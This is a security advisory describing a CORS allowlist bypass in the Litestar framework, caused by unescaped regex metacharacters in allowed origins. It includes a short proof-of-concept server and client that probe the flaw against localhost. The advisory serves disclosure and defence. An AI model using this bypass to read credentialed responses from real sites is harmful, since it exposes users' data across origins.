Litestar's CORS origin allowlist has a bypass due to unescaped regex metacharacters in allowed origins

Summary

CORS origin validation can be bypassed because the allowed-origins allowlist is compiled into a regex without escaping metacharacters (notably .). An allowed origin like https://good.example can match https://goodXexample, resulting in Access-Control-Allow-Origin being set for an untrusted origin

Details

CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin).

PoC

Server (poc_cors_server.py)

from litestar import Litestar, get
from litestar.config.cors import CORSConfig

@get("/c")
async def c() -> str:
    return "ok"

cors = CORSConfig(
    allow_origins=["https://good.example"],
    allow_credentials=True,
)
app = Litestar([c], cors_config=cors)

uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002

Client (poc_cors_client.py)

import http.client

def req(origin: str) -> tuple[int, str | None]:
    c = http.client.HTTPConnection("127.0.0.1", 8002, timeout=3)
    c.request("GET", "/c", headers={"Origin": origin, "Host": "example.com"})
    r = c.getresponse()
    r.read()
    acao = r.getheader("Access-Control-Allow-Origin")
    c.close()
    return r.status, acao

print("evil:", req("https://evil.example"))
print("bypass:", req("https://goodXexample")) 

Expected (vulnerable behavior):

Origin: https://evil.example → no ACAO
Origin: https://goodXexample → ACAO: https://goodxexample/ (bypass)

Impact

Type: CORS policy bypass (cross-origin data exposure risk)
Who is impacted: apps using CORS allowlists to restrict browser cross-origin reads. If allow_credentials=True and authenticated endpoints return sensitive data, an attacker-controlled site can potentially read responses in a victim’s browser session.